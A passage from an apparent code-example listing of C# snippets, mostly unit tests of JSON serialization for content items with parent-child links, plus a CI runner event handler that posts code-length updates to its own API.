            deserialized["State"].ShouldBe((int)ContentState.Waiting);
            deserialized["TemplateKey"].ShouldBe("1234");
            deserialized["Title"].ShouldBe("Hello World");
            deserialized["TranslationKey"].ShouldBe(5678);
            deserialized["VersionIndex"].ShouldBe(222);
            deserialized["Visible"].ShouldBe(false);
            deserialized["ZoneName"].ShouldBe("HelloZone");
            deserialized["Updated"].ShouldBe("2013-03-27T09:00:00.000Z");
        }
Example #48
0
        public void CircularGraph_Child()
        {
            var parent = new CI { ID = 1, Title = "parent" };
            var child = new CI { ID = 2, Title = "child" };
            child.AddTo(parent);

            var result = child.ToJson();
            var deserialized = new JavaScriptSerializer().Deserialize<Dictionary<string, object>>(result);

            deserialized["Title"].ShouldBe("child");
            deserialized["Parent"].ShouldBe(1);
        }
Example #49
0
        public void CircularGraph_Parent()
        {
            var parent = new CI { ID = 1, Title = "parent" };
            var child = new CI { ID = 2, Title = "child" };
            child.AddTo(parent);

            var result = parent.ToJson();
            var deserialized = new JavaScriptSerializer().Deserialize<Dictionary<string, object>>(result);

            deserialized["Title"].ShouldBe("parent");
            deserialized.ContainsKey("Children").ShouldBe(false);
        }
Example #50
0
 private void CITask_OnCodeLengthCaculated(object sender, CI.Runner.EventArgs.CodeLengthCaculatedArgs args)
 {
     var task = sender as CI.Runner.CITask;
     Client.PostAsync("/api/Runner/UpdateCodeLength", new FormUrlEncodedContent(new Dictionary<string, string>
     {
         { "id", task.Identifier.ToString() },
         { "length", args.Length.ToString() }
     })).Wait();
 }
Example #51
0
 private CI createCi(string type, string data)
 {
     CI ci = new CI();
     ci.Type = type;
     ci.Data = data;
     return ci;
 }